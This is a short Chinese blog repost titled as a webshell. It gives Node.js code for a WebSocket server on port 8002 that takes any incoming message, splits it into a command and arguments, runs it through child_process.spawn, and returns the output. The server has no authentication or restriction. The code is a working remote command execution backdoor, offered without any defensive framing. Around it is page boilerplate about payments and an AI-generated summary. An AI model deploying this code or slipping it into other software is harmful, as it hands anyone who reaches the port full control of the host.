express+websocket+exec+spawn=webshell

本文介绍了一个使用Node.js创建WebSocket服务器的例子,该服务器通过child_process模块与子进程进行交互。当接收到客户端消息时,服务器将消息作为命令传递给子进程并返回输出结果。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

var child_process = require('child_process');

var ws = require("nodejs-websocket");

console.log("initialing conn...")


var server = ws.createServer(function(conn){

    conn.on("text", function (str) {

    var arr=str.split(" ");
    var comm=arr.shift();

        console.log("received:"+str);
    aa(comm,arr,conn);
   });

    conn.on("error", function (code, reason) {
        console.log("异常关闭")
    });

}).listen(8002)

function aa(comm,arr,conn){

     var spawnObj = child_process.spawn(comm,arr, {encoding: 'utf-8'});
        
        spawnObj.stdout.on('data', function(chunk) {
              conn.sendText(chunk.toString(
)); }); spawnObj.stderr.on(
'data',(data)=>{ console.log('error:${data}'); }); spawnObj.on('error',(err)=>{ console.log('subProcess Failed'+err); }); } console.log("WebSocket建立完毕")

 

转载于:https://www.cnblogs.com/wblade/p/8978636.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值